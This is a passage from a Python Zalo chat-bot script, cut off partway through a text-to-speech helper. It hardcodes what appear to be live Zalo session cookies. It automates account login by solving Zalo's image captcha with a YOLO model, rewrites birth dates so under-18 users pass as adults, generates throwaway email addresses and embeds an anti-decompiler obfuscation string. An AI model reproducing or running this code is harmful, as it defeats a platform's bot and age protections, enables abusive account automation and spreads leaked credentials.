#                       _oo0oo_
#                      o8888888o
#                      88" . "88
#                      (| -_- |)
#                      0\  =  /0
#                    ___/`---'\___
#                  .' \\|     |// '.
#                 / \\|||  :  |||// \
#                / _||||| -:- |||||- \
#               |   | \\\  -  /// |   |
#               | \_|  ''\---/''  |_/ |
#               \  .-\__  '-'  ___/-. /
#             ___'. .'  /--.--\  `. .'___
#          ."" '<  `.___\_<|>_/___.' >' "".
#         | | :  `- \`.;`\ _ /`;.`/ - ` : | |
#         \  \ `_.   \_ __\ /__ _/   .-` /  /
#     =====`-.____`.___ \_____/___.-`___.-'=====
#                       `=---='
#
#     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#               佛祖保佑         永無BUG
#     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
import os
#os.system('pip install zlapi catbox-uploader requests psutil pillow mcstatus colorama gradio_client crypto websocket')
from zlapi import ZaloAPI
from zlapi.models import *
import subprocess
from colorama import init, Fore, Style
from concurrent.futures import ThreadPoolExecutor
from mcstatus import JavaServer
from zlapi._message import MultiMention
from PIL import Image, ImageDraw, ImageFont
# from gradio_client import Client, handle_file
import asyncio, aiohttp
from transliterate import translit
import re
from urllib.parse import urlencode
import subprocess
import socket 
from bs4 import BeautifulSoup
from urllib.parse import quote
import threading
import io
import sys
import traceback
import threading
import random
import requests
import psutil
import sys
import time
import string
import json
import emoji
from io import BytesIO
import concurrent.futures
import brotli
import zlib
from urllib.parse import urlparse
import time
from zlapi import ZaloAPI, ZaloAPIException
from zlapi.models import *
from datetime import datetime
import ast
from collections import defaultdict
import ast, random, math
from pystyle import Add, Center, Anime, Colors, Colorate, Write, System,Col
from getpass import getpass
import os, sys
import jwt, json, hashlib
import time, datetime
import sqlite3
import asyncio, aiohttp
import concurrent.futures
from protobuf import *
from dotenv import load_dotenv
from protobuf_decoder.protobuf_decoder import Parser
from google.protobuf.json_format import MessageToDict
import traceback
from concurrent.futures import ThreadPoolExecutor
import requests
import time
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os
import pytz
from PIL import Image, ImageOps
import os, re
import time, base64
import requests, json
from io import BytesIO
from typing import Union
from pyzbar.pyzbar import decode
from typing import List, Tuple, Optional
import uuid
import secrets
import difflib
from typing import Any, Dict, List, Optional, Tuple
import urllib.parse

from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.backends import default_backend
# from ultralytics import YOLO

print("""\033[96m88888888888       888                    8888888b.                    
    888           888                    888  "Y88b                   
    888           888                    888    888                   
    888   8888b.  88888b.  88888b.       888    888  .d88b.  888  888 
    888      "88b 888 "88b 888 "88b      888    888 d8P  Y8b 888  888 
    888  .d888888 888  888 888  888      888    888 88888888 Y88  88P 
    888  888  888 888  888 888  888      888  .d88P Y8b.      Y8bd8P  
    888  "Y888888 888  888 888  888      8888888P"   "Y8888    Y88P   
""")
DB_PATH = 'settings.db'
DEFAULT_FEATURES = [
	'welcome',
	'anti_bot',
	'anti_spam',
	'anti_link',
	'anti_ads',
	'anti_forward',
	'auto_approve',
	'simsimi',
	'anti_bigfont',
	'anti_undo',
	'anti_stkani',
	'anti_botv2',
	'bypass_undo'
]
feature_names = {
	"welcome": "Chào Mừng Thành Viên",
	"anti_bot": "Chống Bot",
	"anti_spam": "Chống Spam",
	"anti_link": "Chống Liên Kết",
	"anti_ads": "Chống Quảng Cáo",
	"anti_forward": "Chống Chia Sẽ Tin Nhắn Từ Group Khác Sang",
	"auto_approve": "Tự Động Phê Duyệt",
	"simsimi": "Chat Bot SimSimi",
	"anti_undo": "Bypass anti undo by bot",
	"anti_bigfont": "Delete Msg Big Font In Zalo App",
	"anti_stkani": "Delete Sticker Effect",
	"anti_botv2": "Chống Bot Không band",
	"bypass_undo": "Xoá Tin Nhắn Do Bot Gửi Có Anti Delete"
}
default_mode = 'only_admin'
MODES = ['all', 'only_key', 'only_admin']


__import__('sys').setrecursionlimit(999999999)

antipycdc = ""

for i in range(10000):
	antipycdc += "1/int(0),"

antipycdc = "try:ngocuyencoder=(" + antipycdc + ")\nexcept:pass"

ANTI_PYCDC = f"""
try:pass
except:pass
else:pass
finally:pass
{antipycdc}
finally:int(2008-2006)
"""

# thread = ThreadPoolExecutor(max_workers=10000)
start_time = time.time()
init(autoreset=True)
gay = "False"
msg_history = []
history = []
# thread_id = "2090608143556677997"
VsTeam = "5970170992691011026"
step = ""
# thread = concurrent.futures.ThreadPoolExecutor(max_workers=99999)
# lon = len

# imei = "293a771f-f382-41d4-bd1f-ae134fc5e55f-1c6165fc92b70c8776f54fbec4fa879b"
# cookie = {"zpw_sek":"word.436411194.a1.-yT3n3pgORm6yMAc7UfXl4V81DSUq4FjVwibwakf1Cj6mGo9TAqjy5Ax1uXBrroUGKgRIvrlcyBew_TA8O9Xl0"}
imei = "TahnDev"
cookie = {"nl_bc25f23638b0498c4e36dd20731c2c28": "tzaoLC8i6lt8sZTImIqT-CxJC4hJSd-zdzGI0JenVG", "zpdid": "4H7taL7pgJeG496LKl33CX4Gb9rI_C8x", "zlogin_session": "kW4JGLyjCnIxFnDDLXTbH-Tj14vJ4MP6u6WUL0bLQ5whAH9R64fqMQaf4ruYVG", "zpsid": "tcQz.436411194.38.DtQnfXlJHfaXo4M35zD6cMwWDAqevNAeAk9_hHhccxo2MKEN6iRKHtFJHfa", "_zlang": "vn", "zlogtype": "oJZ2AihRRKRjmbSSuLQp4VHFuIhL_0KplVGl8jz6Y23nJ-OPhS9RHV_F", "zpw_sek": "HmMZ.436411194.a0.PsOcZ-XMjG3IJROQoLQr09Dqq6lAR9TcXHFXIwudmMck3CD1t2E6Oh0VtokvQuWYbLU0tStFFmNcLwEIDZwr00"}
headers = {
	"cache-control": "max-age\u003d0",
	"sec-ch-ua": "\"Not A(Brand\";v\u003d\"8\", \"Chromium\";v\u003d\"132\"",
	"sec-ch-ua-mobile": "?0",
	"sec-ch-ua-platform": "\"Linux\"",
	"upgrade-insecure-requests": "1",
	"user-agent": "Mozilla/5.0 (Linux; Android 10; SM-G970F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.1775.121 Safari/537.36",
	"accept": "*/*",
	"content-type": "application/x-www-form-urlencoded",
	"sec-fetch-site": "same-site",
	"sec-fetch-mode": "navigate",
	"sec-fetch-user": "?1",
	"sec-fetch-dest": "document",
	"referer": "https://id.zalo.me/account?continue\u003dhttps%3A%2F%2Fchat.zalo.me%2F",
	"accept-encoding": "gzip, deflate, br",
	"accept-language": "vi-VN,vi;q\u003d0.9,fr-FR;q\u003d0.8,fr;q\u003d0.7,en-US;q\u003d0.6,en;q\u003d0.5",
}
# def len(text):
	# Tahn_Dz = ""
	# for char in text:
		# if ord(char) > 127:
			# Tahn_Dz += '\\u{:04x}'.format(ord(char))
		# else:
			# Tahn_Dz += char
	# return lon(Tahn_Dz.encode('utf-8').decode('unicode_escape'))
def extract_zalo_group_urls(text):
	pattern = r'(?i)zalo\s*(\.|\(\.\)|\s+|\b)?me\s*(/|\s+|\b)?g\s*(/|\b)?\s*([a-z0-9]{4,10})'
	matches = re.findall(pattern, text)
	extracted_urls = []
	for match in matches:
		cleaned = f"https://zalo.me/g/{match[3]}"
		extracted_urls.append(cleaned)
	return extracted_urls
	
class dataAccFifi:
	def __init__(self, path):
		self.path = path
		
	def load_data(self) -> List[Tuple[str, str, str]]:
		text = open(self.path, "r", encoding="utf-8").read().strip()
		if not text:
			return []
		try:
			parsed = json.loads(text)
			if isinstance(parsed, (list, tuple)):
				out = []
				for item in parsed:
					if isinstance(item, (list, tuple)) and len(item) >= 3:
						out.append((str(item[0]), str(item[1]), str(item[2])))
				if out:
					return out
		except Exception:
			pass
		
		out = []
		for raw_line in text.splitlines():
			line = raw_line.strip()
			if not line:
				continue
			if line.endswith(","):
				line = line[:-1].rstrip()
			if line.startswith("(") and line.endswith(")"):
				try:
					val = ast.literal_eval(line)
					if isinstance(val, (list, tuple)) and len(val) >= 3:
						out.append((str(val[0]), str(val[1]), str(val[2])))
						continue
				except Exception:
					pass
		
		if out:
			return out
		pattern = re.compile(r"""\(\s*(['"])(.*?)\1\s*,\s*(['"])(.*?)\3\s*,\s*(['"])(.*?)\5\s*\)""", re.DOTALL)
		matches = pattern.findall(text)
		if matches:
			return [(m[1], m[3], m[5]) for m in matches]
		try:
			wrapped = "[" + text + "]"
			val = ast.literal_eval(wrapped)
			out = []
			for item in val:
				if isinstance(item, (list, tuple)) and len(item) >= 3:
					out.append((str(item[0]), str(item[1]), str(item[2])))
			if out:
				return out
		except Exception:
			pass
		return "Không thể parse file: định dạng không hợp lệ hoặc không được hỗ trợ."
	
	
	def export_data(self, data: List[Union[Tuple, List]], as_json: bool = False) -> None:
		if as_json:
			serializable = [[str(item[0]), str(item[1]), str(item[2])] for item in data]
			with open(self.path, "w", encoding="utf-8") as f:
				json.dump(serializable, f, ensure_ascii=False, indent=2)
			return
			
		lines = []
		for item in data:
			a = str(item[0])
			b = str(item[1])
			c = str(item[2])
			def esc(s: str) -> str:
				return s.replace("\\", "\\\\").replace("'", "\\'")
			lines.append("('{}', '{}', '{}')\n".format(esc(a), esc(b), esc(c)))
			
		with open(self.path, "w", encoding="utf-8") as f:
			f.writelines(lines)
	
	def update_tokens(self, updates):
		data = self.load_data()
		upd = {str(u): str(t) for u,t in updates}
		for i, (u, p, tok) in enumerate(data):
			if str(u) in upd:
				data[i] = (u, p, upd[str(u)])
		
		self.export_data(data)
		return data
		

def generate_random_gmail():
	random_part = ''.join(random.choices(string.ascii_lowercase + string.digits, k=random.randint(5,10)))
	email = f"dev{random_part}@tahn.site"
	return email

def ensure_18_dob(dob_str: str) -> str:
	"""
	Nhận dob_str "dd/mm/yyyy", trả về "dd/mm/yyyy".
	- Nếu đã >= 18 tuổi (so với ngày hiện tại ở Asia/Ho_Chi_Minh), trả về dob_str chuẩn hóa.
	- Nếu < 18 tuổi, trả về dob đã chỉnh (chỉ thay đổi năm) sao cho đủ 18 tuổi.
	- Với 29/02 trên năm không nhuận sẽ hạ về 28/02.
	"""
	from datetime import date, datetime
	try:
		from zoneinfo import ZoneInfo
		tz = ZoneInfo("Asia/Ho_Chi_Minh")
	except Exception:
		tz = None

	now = datetime.now(tz) if tz is not None else datetime.now()
	today = now.date()
	parts = dob_str.split('/')
	if len(parts) != 3:
		raise ValueError("Định dạng phải là dd/mm/yyyy")
	try:
		d, m, y = int(parts[0]), int(parts[1]), int(parts[2])
	except Exception:
		raise ValueError("Ngày/tháng/năm phải là số hợp lệ")

	try:
		orig = date(y, m, d)
	except ValueError:
		if m == 2 and d == 29:
			orig = date(y, 2, 28)
		else:
			raise

	age = today.year - orig.year - ((today.month, today.day) < (orig.month, orig.day))
	if age >= 18:
		return f"{orig.day:02d}/{orig.month:02d}/{orig.year}"

	year_candidate = today.year - 18
	try:
		candidate = date(year_candidate, m, d)
	except ValueError:
		if m == 2 and d == 29:
			candidate = date(year_candidate, 2, 28)
		else:
			raise

	if candidate <= today:
		adj = candidate
	else:
		yc2 = year_candidate - 1
		try:
			adj = date(yc2, m, d)
		except ValueError:
			if m == 2 and d == 29:
				adj = date(yc2, 2, 28)
			else:
				raise

	return f"{adj.day:02d}/{adj.month:02d}/{adj.year}"
	
class loginZalo:
	def __init__(self, phone, password, cookies):
		self.phone = phone
		self.password = password
		self.cookies = cookies
		self.model = YOLO('yolo11x.pt')
		self.ua = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
		self.headers = {
			"cache-control": "max-age\u003d0",
			"sec-ch-ua": "\"Not A(Brand\";v\u003d\"8\", \"Chromium\";v\u003d\"132\"",
			"sec-ch-ua-mobile": "?0",
			"sec-ch-ua-platform": "\"Linux\"",
			"upgrade-insecure-requests": "1",
			"user-agent": self.ua,
			"accept": "*/*",
			"content-type": "application/x-www-form-urlencoded",
			"sec-fetch-site": "same-site",
			"sec-fetch-mode": "navigate",
			"sec-fetch-user": "?1",
			"sec-fetch-dest": "document",
			"referer": "https://id.zalo.me/account?continue\u003dhttps%3A%2F%2Fchat.zalo.me%2F",
			"accept-encoding": "gzip, deflate, br",
			"accept-language": "vi-VN,vi;q\u003d0.9,fr-FR;q\u003d0.8,fr;q\u003d0.7,en-US;q\u003d0.6,en;q\u003d0.5",
		}
		
	def getCookiesLogin(self, cookies):
		url = "https://id.zalo.me/account"
		params = {
			"continue": "https://zalo.me/pc"
		}
		response = requests.get(url, headers=self.headers, params=params, timeout=10, cookies=cookies, allow_redirects=False)
		# print(response.text)
		# print(response.headers)
		cookies = response.cookies.get_dict()
		soup = BeautifulSoup(response.text, 'html.parser')
		scripts = soup.find_all('script')
		app_config_str = None
		for script in scripts:
			if script.string and 'window.AppConfig =' in script.string:
				config_part = script.string.split('window.AppConfig =', 1)[1].strip()
				if config_part.endswith(';'):
					config_part = config_part[:-1].strip()
				app_config_str = config_part
				break
	
		if app_config_str:
			app_config_dict = json.loads(app_config_str)
			encrypt_key = app_config_dict.get('encrytKey')
		else:
			encrypt_key = "AppConfig not found in the HTML."
			
		# print(encrypt_key)
		# print(cookies)
		return cookies, encrypt_key
	
		
	def load_public_key_from_possible_encrytKey(self, encrytKey: Union[str, dict]):
		if isinstance(encrytKey, str):
			try:
				key = serialization.load_pem_public_key(encrytKey.encode() if isinstance(encrytKey, str) else encrytKey, backend=default_backend())
				return key
			except Exception:
				try:
					pem = base64.b64decode(encrytKey)
					return serialization.load_pem_public_key(pem, backend=default_backend())
				except Exception:
					print("String encrytKey provided but couldn't parse as PEM or base64 PEM.")
		elif isinstance(encrytKey, dict):
			n_raw = encrytKey.get("n")
			e_raw = encrytKey.get("e")
			if not n_raw or not e_raw:
				print("encrytKey dict must contain 'n' and 'e'.")
			def parse_int(x):
				if isinstance(x, int):
					return x
				x = x.strip()
				if x.startswith("0x") or all(c in "0123456789abcdefABCDEF" for c in x):
					return int(x, 16)
				try:
					raw = base64.b64decode(x)
					return int.from_bytes(raw, byteorder="big")
				except Exception:
					return int(x)
			n = parse_int(n_raw)
			e = parse_int(e_raw)
			pub_numbers = rsa.RSAPublicNumbers(e, n)
			return pub_numbers.public_key(default_backend())
		else:
			print("Unsupported encrytKey type")
	
	
	def rsa_encrypt_base64(self, plaintext: str, public_key) -> str:
		ciphertext = public_key.encrypt(plaintext.encode("utf-8"), padding.PKCS1v15())
		return base64.b64encode(ciphertext).decode()
	
	
	def build_encoded_payload(self, params: dict, encrytKey):
		public_key = self.load_public_key_from_possible_encrytKey(encrytKey)
		secure_keys = ["phone", "phone_num", "password"]
		
		out = {}
		for k, v in params.items():
			if v is None:
				continue
			if k in secure_keys and v != "":
				out[k] = self.rsa_encrypt_base64(str(v), public_key)
			else:
				out[k] = str(v)
		return out
		
	def csrfToken(self):
		headers = {
			"sec-ch-ua": "\"Chromium\";v\u003d\"137\", \"Not/A)Brand\";v\u003d\"24\"",
			"sec-ch-ua-mobile": "?0",
			"sec-ch-ua-platform": "\"Linux\"",
			"upgrade-insecure-requests": "1",
			"user-agent": self.ua,
			"accept": "text/html,application/xhtml+xml,application/xml;q\u003d0.9,image/avif,image/webp,image/apng,*/*;q\u003d0.8,application/signed-exchange;v\u003db3;q\u003d0.7",
			"sec-fetch-site": "cross-site",
			"sec-fetch-mode": "navigate",
			"sec-fetch-user": "?1",
			"sec-fetch-dest": "iframe",
			"referer": "https://id.zalo.me/",
			"accept-encoding": "gzip, deflate, br",
			"accept-language": "vi-VN,vi;q\u003d0.9,fr-FR;q\u003d0.8,fr;q\u003d0.7,en-US;q\u003d0.6,en;q\u003d0.5",
		}
		url = "https://zcaptcha.api.zaloapp.com/zcaptcha-challenge"
		params = {
			"appId": "3032357805345395173",
			"lang": "en"
		}
		response = requests.get(url, headers=headers, params=params)
		soup = BeautifulSoup(response.text, 'html.parser')
		csrf_meta = soup.find('meta', attrs={'name': 'csrf-token'})
		if csrf_meta:
			csrf_token = csrf_meta.get('content')
			return csrf_token
		else:
			return "CSRF token not found."
	
	def getCaptcha(self, csrfToken):
		headers = {
			"Host": "zcaptcha.api.zaloapp.com",
			"content-length": "2",
			"sec-ch-ua-platform": "\"Android\"",
			"user-agent": self.ua,
			"accept": "application/json, text/plain, */*",
			"sec-ch-ua": "\"Not)A;Brand\";v\u003d\"8\", \"Chromium\";v\u003d\"138\", \"Google Chrome\";v\u003d\"138\"",
			"content-type": "application/json",
			"csrf-token": csrfToken,
			"sec-ch-ua-mobile": "?1",
			"origin": "https://zcaptcha.api.zaloapp.com",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "cors",
			"sec-fetch-dest": "empty",
			"sec-fetch-storage-access": "active",
			"accept-encoding": "gzip, deflate, br, zstd",
			"accept-language": "en-US,en;q\u003d0.9,vi;q\u003d0.8,pt;q\u003d0.7",
			"priority": "u\u003d1, i"
		}
		response = requests.post("https://zcaptcha.api.zaloapp.com/api/get-captcha", headers=headers, data='""')
		print(response.json())
		url = response.json()["data"]["image"]["url"]
		question = response.json()["data"]["question"]
		token = response.json()["data"]["image"]["token"]
		return url, question, token
	
	def checkNeedCaptcha(self, encryptKey, cookies):
		encryt_key = f"-----BEGIN PUBLIC KEY-----\n{encryptKey}\n-----END PUBLIC KEY-----"
		url = "https://id.zalo.me/account/authen/need-captcha"
		payload = {
			"phone": self.phone,
			"iso_country_code": "VN",
			"continue": "https://chat.zalo.me/",
			"v": "5.5.7"
		}
		payload = self.build_encoded_payload(payload, encryt_key)
		response = requests.post(url, headers=self.headers, json=payload, cookies=cookies)
		if response.json()["error_code"] == 0:
			return response.json()["data"]["needCaptcha"]
		else:
			return response.json()
		
	def checkCaptcha(self, token, answer, cookies, csrfToken):
		headers = {
			"Host": "zcaptcha.api.zaloapp.com",
			"sec-ch-ua": "\"Chromium\";v\u003d\"137\", \"Not/A)Brand\";v\u003d\"24\"",
			"accept": "application/json, text/plain, */*",
			"content-type": "application/json",
			"csrf-token": csrfToken,
			"sec-ch-ua-mobile": "?1",
			"user-agent": self.ua,
			"sec-ch-ua-platform": "\"Android\"",
			"origin": "https://zcaptcha.api.zaloapp.com",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "cors",
			"sec-fetch-dest": "empty",
			"referer": "https://zcaptcha.api.zaloapp.com/zcaptcha-challenge?appId\u003d3032357805345395173\u0026lang\u003dvi",
			"accept-encoding": "gzip, deflate, br",
			"accept-language": "vi-VN,vi;q\u003d0.9,fr-FR;q\u003d0.8,fr;q\u003d0.7,en-US;q\u003d0.6,en;q\u003d0.5"
		}
		url = "https://zcaptcha.api.zaloapp.com/api/check-captcha"
		payload = {
			"answers": answer, 
			"token": token
		}
		response = requests.post(url, headers=headers, json=payload)
		if response.json()["error_code"] == 0 and response.json()["data"]["pass"] == True:
			return response.json()["data"]["uuid"]
		elif response.json()["error_code"] == -16 and response.json()["data"]["pass"] == False:
			return False
		else:
			return response.json()
			
	def loginPass(self, uuid, cookies, encryptKey):
		encryt_key = f"-----BEGIN PUBLIC KEY-----\n{encryptKey}\n-----END PUBLIC KEY-----"
		headers = {
			"sec-ch-ua": "\"Chromium\";v\u003d\"137\", \"Not/A)Brand\";v\u003d\"24\"",
			"sec-ch-ua-platform": "\"Linux\"",
			"sec-ch-ua-mobile": "?0",
			"user-agent": self.ua,
			"content-type": "application/x-www-form-urlencoded",
			"accept": "*/*",
			"origin": "https://id.zalo.me",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "cors",
			"sec-fetch-dest": "empty",
			"referer": "https://id.zalo.me/account?continue\u003dhttps%3A%2F%2Fchat.zalo.me%2F",
			"accept-encoding": "gzip, deflate, br",
			"accept-language": "vi-VN,vi;q\u003d0.9,fr-FR;q\u003d0.8,fr;q\u003d0.7,en-US;q\u003d0.6,en;q\u003d0.5"
		}
		url = "https://id.zalo.me/account/authen/pwd"
		payload = {
			"phone": self.phone,
			"iso_country_code": "VN",
			"password": self.password,
			"captcha-response": uuid,
			"captcha-version": "zcaptcha",
			"continue": "https://chat.zalo.me/",
			"v": "5.5.7"
		}
		payload = self.build_encoded_payload(payload, encryt_key)
		response = requests.post(url, headers=headers, data=payload, cookies=cookies)
		return response
		# print(response.json())
		# print(response.headers)
		
	def cutImage(self, imageUrl):
		response = requests.get(imageUrl)
		im = Image.open(BytesIO(response.content))
		width, height = im.size
		tile_width = width // 3
		tile_height = height // 3
		tiles_base64 = []
		
		for row in range(3):
			for col in range(3):
				left = col * tile_width
				top = row * tile_height
				right = left + tile_width
				bottom = top + tile_height
				tile = im.crop((left, top, right, bottom))
		
				buffered = BytesIO()
				tile.save(buffered, format="PNG")
				img_str = base64.b64encode(buffered.getvalue()).decode('utf-8')
				tiles_base64.append(img_str)
		return tiles_base64
	
	def checkSession(self, cookies):
		headers = {
			"sec-ch-ua": "\"Not)A;Brand\";v\u003d\"8\", \"Chromium\";v\u003d\"138\", \"Google Chrome\";v\u003d\"138\"",
			"sec-ch-ua-mobile": "?0",
			"sec-ch-ua-platform": "\"Linux\"",
			"upgrade-insecure-requests": "1",
			"user-agent": self.ua,
			"accept": "text/html,application/xhtml+xml,application/xml;q\u003d0.9,image/avif,image/webp,image/apng,*/*;q\u003d0.8,application/signed-exchange;v\u003db3;q\u003d0.7",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "navigate",
			"sec-fetch-user": "?1",
			"sec-fetch-dest": "document",
			"referer": "https://id.zalo.me/account?continue\u003dhttps%3A%2F%2Fchat.zalo.me%2F",
			"accept-encoding": "gzip, deflate, br, zstd",
			"accept-language": "en-US,en;q\u003d0.9,vi;q\u003d0.8,pt;q\u003d0.7",
			"priority": "u\u003d0, i"
		}
		url = "https://id.zalo.me/account/checksession?continue=https%3A%2F%2Fchat.zalo.me%2F"
		# params = {
			# "continue": "https://chat.zalo.me/"
		# }
		while True:
			response = requests.get(url, headers=headers, cookies=cookies, timeout=10, allow_redirects=False)
			if response.status_code == 302:
				url = response.headers.get("Location")
				# print(response.headers)
				if url == "https://chat.zalo.me/":
					break
	
		return response.cookies.get_dict()
		
		
	def checkTrust(self, cookies):
		headers = {
			# "Host": "id.zalo.me",
			# "content-length": "58",
			"sec-ch-ua-platform": "\"Linux\"",
			"user-agent": self.ua,
			"sec-ch-ua": "\"Not)A;Brand\";v\u003d\"8\", \"Chromium\";v\u003d\"138\", \"Google Chrome\";v\u003d\"138\"",
			"content-type": "application/x-www-form-urlencoded",
			"sec-ch-ua-mobile": "?0",
			"accept": "*/*",
			"origin": "https://id.zalo.me",
			"sec-fetch-site": "same-origin",
			"sec-fetch-mode": "cors",
			"sec-fetch-dest": "empty",
			"referer": "https://id.zalo.me/account?continue\u003dhttps%3A%2F%2Fchat.zalo.me%2F",
			"accept-encoding": "gzip, deflate, br, zstd",
			"accept-language": "en-US,en;q\u003d0.9,vi;q\u003d0.8,pt;q\u003d0.7",
			"priority": "u\u003d1, i"
		}
		url = "https://id.zalo.me/account/verify-client"
		payload = {
			"type": "device", 
			"continue": "https://chat.zalo.me/",
			"v": "5.5.7"
		}
		response = requests.post(url, headers=headers, data=payload, cookies=cookies)
		return response.json()
			
	def getLoginInfo(self, cookies, imei="Tahn"):
		params = {
			"imei": imei, 
			"type": 24, 
			"client_version": 670, 
			"computer_name": "Tahn Dev Is Very Handsome!!!", 
			# "ts": int(time.time() * 1000)
		}
		response = requests.get("https://wpa.chat.zalo.me/api/login/getLoginInfo", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "Accept": "application/json, text/plain, */*", "sec-ch-ua": "\"Not-A.Brand\";v=\"99\", \"Chromium\";v=\"124\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"Linux\"", "origin": "https://chat.zalo.me", "sec-fetch-site": "same-site", "sec-fetch-mode": "cors", "sec-fetch-dest": "empty", "Accept-Encoding": "gzip", "referer": "https://chat.zalo.me/", "accept-language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5"}, cookies=cookies, params=params)
		return response.json()
		
	def solve_with_yolo(self, url, question):
		# try:
		response = requests.get(url)
		im = Image.open(BytesIO(response.content))
		width, height = im.size
		results = self.model(im)
		target_en = question.replace("Select all images with: ", "").strip()
		# target_en = translate_vi_to_en(target)
		dapan = [False] * 9
		tile_width = width / 3.0
		tile_height = height / 3.0
		for box in results[0].boxes:
			x1, y1, x2, y2 = box.xyxy[0].tolist()
			x_center = (x1 + x2) / 2
			y_center = (y1 + y2) / 2
			cls_id = int(box.cls[0])
			class_name = results[0].names[cls_id].lower()
			# print(class_name)
			# print(target_en)
			if class_name == target_en:
				col = int(x_center // tile_width)
				row = int(y_center // tile_height)
				index = row * 3 + col
				if 0 <= index < 9:
					dapan[index] = True
		# except Exception as e:
			# traceback.print_exc()
			
		return dapan
		
	def login(self, checkSessions=False):
		# phone = "0357293117"#"0356206328"
		# password = "Ngokhong1234"#"Ducanh25122009@"
		# zpdid for trust phone and password login
		# zpdid get in your scaning qrcode in id.zalo.me
		# cookies = {"zpdid": "4HNta5VnfpqR79-IMVtAEnWSdfnO-Cyo"}#{"zpdid": "4H7taL7pgJeG496LKl33CX4Gb9rI_C8x"}#{"zpdid": "4H7ta5pseZiR6fgKMVhBEXyUcvrI_Sat"}#
		cookie, encryptKey = self.getCookiesLogin(self.cookies)
		# print(cookie)
		cookies = {**cookie, **self.cookies}
		# print(cookies)
		# print(encryptKey)
		# print(checkTrust(cookies))
		needCaptcha = self.checkNeedCaptcha(encryptKey=encryptKey, cookies=cookies)
		# print(needCaptcha)
		while True:
			if needCaptcha == True:
				csrf_token = self.csrfToken()
				print(csrf_token)
				url, question, token = self.getCaptcha(csrf_token)
				# print(url)
				# print(question)
				dapan = self.solve_with_yolo(url, question)
				# print(dapan)
				uuid = self.checkCaptcha(token=token, answer=dapan, cookies=cookies, csrfToken=csrf_token)
				# print(uuid)
				if uuid != False:
					log = self.loginPass(uuid=uuid, cookies=cookies, encryptKey=encryptKey)
					# print(log)
					# print(log.text)
					# print(log.json())
					cookies = {**cookies, **log.cookies.get_dict()}
					# print()
					if checkSessions:
						zpw_cookie = self.checkSession(cookies)
						print(zpw_cookie)
						cookies = {**cookies, **zpw_cookie}
						return cookies
						# print(str(cookies).replace("'", '"'))
					else:
						return cookies
					# print(str(cookies).replace("'", '"'))
					
					break
				else:
					print("Fail to solve captcha try again...")
					continue
			else:
				log = self.loginPass(phone=self.phone, password=self.password, uuid="", cookies=cookies, encryptKey=encryptKey)
				# print(log)
				# print(log.text)
				# print(log.json())
				cookies = {**cookies, **log.cookies.get_dict()}
				if checkSessions:
				# print(cookies)
					zpw_cookie = self.checkSession(cookies)
					# print(zpw_cookie)
					return {**cookies, **zpw_cookie}
				else:
					return cookies
				# print(cookies)
				break
	
	def main(self, imei="Tahn", checkSessions=True, hiddenSession=False, sign=True):
		if hiddenSession:
			cookies = self.login(checkSessions=True)
			print(json.dumps(self.getLoginInfo(imei=imei, cookies=cookies), indent=4))
			print(str(cookies).replace("'", '"'))
			self.login(checkSessions=False)
			print(json.dumps(self.getLoginInfo(imei=imei, cookies=cookies), indent=4))
			print(str(cookies).replace("'", '"'))
			return cookies
		else:
			cookies = self.login(checkSessions=checkSessions)
			if sign:
				print(json.dumps(self.getLoginInfo(imei=imei, cookies=cookies), indent=4))
			return cookies

def luvvoice(text):
	headers = {
		"sec-ch-ua": "\"Not A(Brand\";v\u003d\"8\", \"Chromium\";v\u003d\"132\"",
		"sec-ch-ua-platform": "\"Linux\"",
		"sec-ch-ua-mobile": "?0",
		"user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
		"accept": "*/*",
		"origin": "https://luvvoice.com",
		"sec-fetch-site": "same-origin",
		"sec-fetch-mode": "cors",
		"sec-fetch-dest": "empty",
		"referer": "https://luvvoice.com/vn",
		"accept-encoding": "gzip, deflate, br",
		"accept-language": "vi-VN,vi;q\u003d0.9,fr-FR;q\u003d0.8,fr;q\u003d0.7,en-US;q\u003d0.6,en;q\u003d0.5",
